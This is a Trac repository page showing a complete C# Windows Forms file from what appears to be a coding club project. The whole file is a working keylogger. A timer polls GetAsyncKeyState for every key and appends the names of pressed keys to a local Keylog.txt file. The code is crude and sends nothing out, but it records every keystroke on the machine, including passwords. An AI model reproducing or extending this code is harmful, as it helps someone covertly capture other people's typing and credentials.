source: 2016/koodauskerho/TaneliL/WindowsFormsApplication1/WindowsFormsApplication1/Form1.cs @ 8334

Revision 8334, 1.4 KB checked in by sieerinn, 3 years ago (diff)
Line 
1using System;
2using System.Collections.Generic;
3using System.ComponentModel;
4using System.Data;
5using System.Drawing;
6using System.Linq;
7using System.Text;
8using System.Threading.Tasks;
9using System.Windows.Forms;
10using System.Runtime.InteropServices;
11using System.IO;
12
13namespace WindowsFormsApplication1
14{
15    public partial class Form1 : Form
16    {
17
18        [DllImport("user32.dll")]
19        private static extern short GetAsyncKeyState(int vKey);
20
21        public Form1()
22        {
23            InitializeComponent();
24            Ajastin1.Start();
25        }
26
27        string text = "";
28        private void Ajastin1_Tick(object sender, EventArgs e)
29        {
30            String k = "";
31            foreach(System.Int32 i in Enum.GetValues(typeof(Keys)))
32                if(GetAsyncKeyState(i) == -32767)
33                {
34                    k += Enum.GetName(typeof(Keys), i);
35                }
36            text += k;
37            if(text.Length > 1)
38            {
39                typeToTxt(text);
40                text = "";
41            }
42        }
43
44        private void typeToTxt(string value)
45        {
46            StreamWriter streami = new StreamWriter("Keylog.txt", true);
47            streami.Write(value);
48            streami.Close();
49        }
50
51        private void Form1_Load(object sender, EventArgs e)
52        {
53
54        }
55    }
56}
Note: See TracBrowser for help on using the repository browser.